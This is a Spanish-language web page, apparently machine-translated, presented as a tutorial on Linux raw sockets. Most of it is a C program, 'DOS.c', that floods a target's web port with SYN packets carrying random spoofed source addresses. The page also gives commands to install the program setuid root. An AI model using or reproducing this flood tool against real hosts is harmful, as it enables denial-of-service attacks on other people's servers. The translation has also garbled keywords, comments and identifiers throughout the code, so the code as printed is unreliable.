Linux Network Programming - Original Sockets

  

Noticias de Computer Shop 1 Creación de socket original int sockfd (AF_INET, SOCK_RAW, protocol) Puede crear un socket sin procesar. Dependiendo del tipo de protocolo, podemos crear diferentes tipos. Los sockets originales son: IPPROTO_ICMP, IPPROTO_TCP, IPPROTO_UDP, etc. Para obtener más información, consulte la página de comando man del socket. A continuación, utilizamos un ejemplo para ilustrar la creación y el uso del socket original. 2 Un ejemplo de un socket en bruto Recordar DOS es ¿Qué quiere decir? Aquí escribiremos un pequeño programa que implementa DOS. Aquí está el código fuente del programa /******************** DOS.c ** *************** /#include < stdlib.h > #include < stdio.h > #include < errno.h > #include < string.h > #include < unistd.h > #include < netdb.h > #include < sys /socket.h > #include < netinet /in.h > #include < sys /types.h > #include /arpa Inet.h > #define DESTPORT 80 /* Port to attack (WEB) * /#define LOCALPORT 8888 void send_tcp (int sock Fd, struct sockaddr_in * addr); unsigned short check_sum (unsigned short * addr, int len); int main (int argc, char ** argv) {int sockfd; struct sockaddr_in add; struct hostent * host; int on = 1; If (argc! = 2) {fprintf (stderr, " Uso:% s hostname \\ n \\ a " argv [0]); exit (1);} bzero (&addr, sizeof (struct sockaddr_in)); Addr.sin_family = AF_INET; addr.sin_port = htons (DESTPORT); if (inet_aton (argv [1], &addr.sin_addr) == 0) {host = gethostbyname (argv [1]); if (host == NULL) {fprintf (stderr, " HostName Error:% s \\ n \\ a ", hstrerror (h_errno)) exit (1);} addr.sin_addr = * (struct in_addr *) (host- > h_addr_list [0 ]);} /**** Use IPPROTO_TCP para crear un socket TCP sin procesar **** /sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_TCP); if (sockfd < 0) {fprintf (stderr, " Socket Error :% s \\ n \\ a ", strerror (errno)); exit (1);} /******** Establezca el formato del paquete IP y comunique el paquete IP del módulo del kernel del sistema. Rellenamos *** /groupsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)); /**** No hay manera de usar el socket original solo con usuarios de super-care. ***** /setuid (getpid ()); /********* Envíe una bomba !!!! **** /send_tcp (sockfd, &addr);} /**** *** Implementación de bomba de envío ********* /void send_tcp (int sockfd, struct sockaddr_in * addr) {char buffer [100]; /**** Se utiliza para colocar nuestro paquete de datos *** * /struct ip * ip; struct tcphdr * tcp; int head_len; /******* Nuestro paquete de datos no tiene ningún contenido, por lo que la longitud es la longitud de las dos estructuras *** /head_len = sizeof (struct Ip) + sizeof (struct tcphdr); bzero (buffer, 100); /******** Rellene el encabezado del paquete IP, recuerde el formato del encabezado IP? ****** /ip = (struct ip *) buffer; ip- > ip_v = IPVERSION; /** La versión es generalmente 4 ** /ip- > ip_hl = sizeof (struct ip) > > 2; /** paquete de IP Longitud de la cabeza ** /ip- > ip_tos = 0; /** tipo de servicio ** /ip- > ip_len = htons (head_len); /** Longitud del paquete IP ** /ip- > ip_id = 0; /** Deje que el sistema lo complete ** /ip- > ip_off = 0; /** Igual que el anterior, ahorre tiempo ** /ip- > ip_ttl = MAXTTL; /** El tiempo más largo es 255 ** /ip- > ip_p = IPPROTO_TCP; /** Estamos enviando paquetes TCP ** /ip- > ip_sum = 0; /** La suma de comprobación deja que el sistema haga ** /ip- > ip_dst = addr- > sin_addr; /** El objeto que atacamos ** //******* Comenzar a rellenar los paquetes TCP *** ** /tcp = (struct tcphdr *) (buffer + sizeof (struct ip)); tcp- > source = htons (LOCALPORT); tcp- > dest = addr- > sin_port; /** puerto de destino ** /tcp- > seq = random (); tcp- > ack_seq = 0; tcp- > doff = 5; tcp- > syn = 1; /** Quiero establecer una conexión ** /tcp- > verificar = 0; /** Ok, todo está listo. Servidor, ¿estás listo? ^ _ ^ ** /while (1) {/** No sabes de dónde vengo, lentamente ¡Espera! ** /ip- > ip_src. S_addr = random (); /** Todo lo realiza el sistema, y ​​no significa mucho. Revisemos el encabezado por nosotros mismos * //** Lo siguiente es opcional * /tcp- > Check = check_sum ((unsigned short *) tcp, sizeof (struct tcphdr)); sendto (sockfd, buffer, head_len, 0, addr, sizeof (struct sockaddr_in));}} /* El siguiente es el algoritmo para la primera suma de comprobación. Robo de algún otro * /unsigned short check_sum (unsigned short * addr, int len) {register int nleft = len; register int sum = 0; register short * w = addr; respuesta corta = 0; while (nleft > 1) { Suma + = * w ++; nleft- = 2;} if (nleft == 1) {* (sin signo *) (&respuesta) = * (unsigned char *) w; suma + = respuesta;} sum = (suma > > 16) + (suma &0xffff); suma + = (suma > > 16); respuesta = ~ suma; retorno (respuesta);} Compile, tome localhost y haga algunos experimentos para ver qué resultados.
(Nunca Intente con alguien más.) Para que los usuarios normales ejecuten este programa, debemos cambiar el propietario de este programa a root y establecer el bit setuid [root @ hoyt /root] #chown root DOS [root @ hoyt /root] #chmod + s DOS 3 Resumen La diferencia entre un socket en bruto y un socket normal es que muchas de las cosas que el sistema hizo antes, pero ahora tenemos que hacerlo nosotros mismos. Pero aquí no es Es muy divertido. Cuando creamos un socket TCP, solo somos responsables de pasar el contenido que queremos enviar al sistema. Después de recibir nuestros datos, el sistema llama automáticamente a la correspondiente El módulo agrega el encabezado TCP a los datos, luego agrega el encabezado IP. Luego lo envía. Ahora creamos los encabezados nosotros mismos, el sistema los envía. En el ejemplo anterior, porque queremos modificar nuestra La dirección IP de origen, por lo que usamos la función setsockopt, si solo modificamos los datos TCP, entonces el sistema también puede crear los datos IP. ≪! - [endif] - >

Copyright © Conocimiento de Windows All Rights Reserved